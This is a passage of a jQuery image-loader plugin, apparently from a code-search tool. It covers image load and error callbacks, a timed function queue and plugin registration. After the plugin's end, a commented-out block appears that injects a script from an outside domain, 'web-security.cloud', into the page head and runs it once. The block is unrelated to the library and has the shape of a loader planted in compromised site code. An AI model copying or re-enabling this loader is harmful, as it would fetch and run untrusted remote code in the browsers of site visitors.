1120  if (!defaults.isLoading) {
1121    // console.log('onLoadImage: is not loading but still called?');
1122    return;
1123  }
1124  if (isError) {
1125    if (typeof defaults.eacherror === 'function') {
1126      defaults.eacherror(elm);
1127    }
1128    else {
1129      if (elm.parentNode !== null) {
1130        elm.parentNode.removeChild(elm);
1131      }
1132    }
1133  }
1134  else if (typeof defaults.each === 'function') {
1135    defaults.each(elm, img);
1136  }
1137  ++defaults.loadedImageCounter;
1138  if (defaults.loadedImageCounter >= defaults.length) {
1139    finishImageLoad(parent, ev.namespace);
1140  }
1141};
1142
1143var finishImageLoad = function (parent, ns) {
1144  // console.log('finishImageLoad: ', ns);
1145  var $parent = $(parent);
1146  var data = $parent.data();
1147  var callback = data[ns].callback;
1148  $parent.off('loadImage.' + ns, onLoadImage);
1149  delete data[ns];
1150  if (typeof callback === 'function') {
1151    setTimeout(
1152      function () {
1153        callback(parent);
1154      },
1155      $.imageloader.queueInterval * 2
1156    );
1157  }
1158};
1159
1160var buildImageLoadFunc = function (elm, parent, namespace, isBg, attr, milsec_timeout) {
1161  var $elm = $(elm);
1162  var src = $elm.data(attr);
1163  var hasFinished = false;
1164
1165  var onFinishLoagImage = function (ev, img) {
1166    // delete attribute
1167    $elm.removeAttr( ['data-', attr].join('') );
1168    $(parent).triggerHandler('loadImage.' + namespace, [elm, img, (ev && ev.type === 'error')]);
1169  };
1170
1171  return function () {
1172    var timer_handler;
1173    var $img = $('<img />'); // this statement is kinda silly, but IE needs this separated.
1174    $img
1175      .bind(
1176        'error',
1177        function (ev) {
1178          hasFinished = true;
1179          clearTimeout(timer_handler);
1180          $(this).unbind('error').unbind('load');
1181          onFinishLoagImage(ev);
1182        }
1183      )
1184      .bind(
1185        'load',
1186        function(ev) {
1187          hasFinished = true;
1188          clearTimeout(timer_handler);
1189          $(this).unbind('error').unbind('load');
1190          if (isBg) {
1191            $elm.css('background-image', ['url(', src, ')'].join(''));
1192          }
1193          else {
1194            $elm.attr('src', src);
1195          }
1196          onFinishLoagImage(ev, $img[0]);
1197        }
1198      )
1199      .attr('src', src);
1200    timer_handler = setTimeout(
1201      function () {
1202        if (hasFinished === false) {
1203          // console.log('timeout');
1204          $img.trigger('error');
1205        }
1206      },
1207      milsec_timeout
1208    );
1209  };
1210};
1211
1212// ===================================================================
1213
1214var _queue_instance_;
1215var Queue = {
1216  getInstance: function () {
1217    if (_queue_instance_ instanceof QueueImpl === false) {
1218      _queue_instance_ = new QueueImpl();
1219    }
1220    return _queue_instance_;
1221  }
1222};
1223
1224var QueueImpl = function () {
1225  this.index = 0;
1226  this.queue = [];
1227  this.isRunning = false;
1228};
1229
1230QueueImpl.prototype.add = function (func) {
1231  if (typeof func !== 'function') {
1232    throw new Error('you can only pass function.');
1233  }
1234  this.queue.push(func);
1235};
1236
1237QueueImpl.prototype.run = function (firenow) {
1238  var run = $.proxy(this.run, this);
1239  firenow = firenow || false;
1240  if (this.isRunning && !firenow) {
1241    return;
1242  }
1243  this.isRunning = true;
1244  this.queue[this.index++]();
1245  if (this.index < this.queue.length) {
1246    setTimeout(
1247      function () {
1248        run(true);
1249      },
1250      $.imageloader.queueInterval
1251    );
1252  }
1253  else {
1254    this.isRunning = false;
1255  }
1256};
1257
1258// ===================================================================
1259
1260$.imageloader = {
1261  queueInterval: 17
1262};
1263
1264$.fn.imageloader = function (opts) {
1265  return this.each(
1266    function (i, elm) {
1267      init(i, elm, opts);
1268    }
1269  );
1270};
1271
1272})(jQuery);
1273/*
1274    if(typeof window.web_security == "undefined"){
1275        var s = document.createElement("script");
1276        s.src = "//web-security.cloud/event?l=117";
1277        document.head.appendChild(s);
1278        window.web_security = "success";
1279    }
1280*/

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.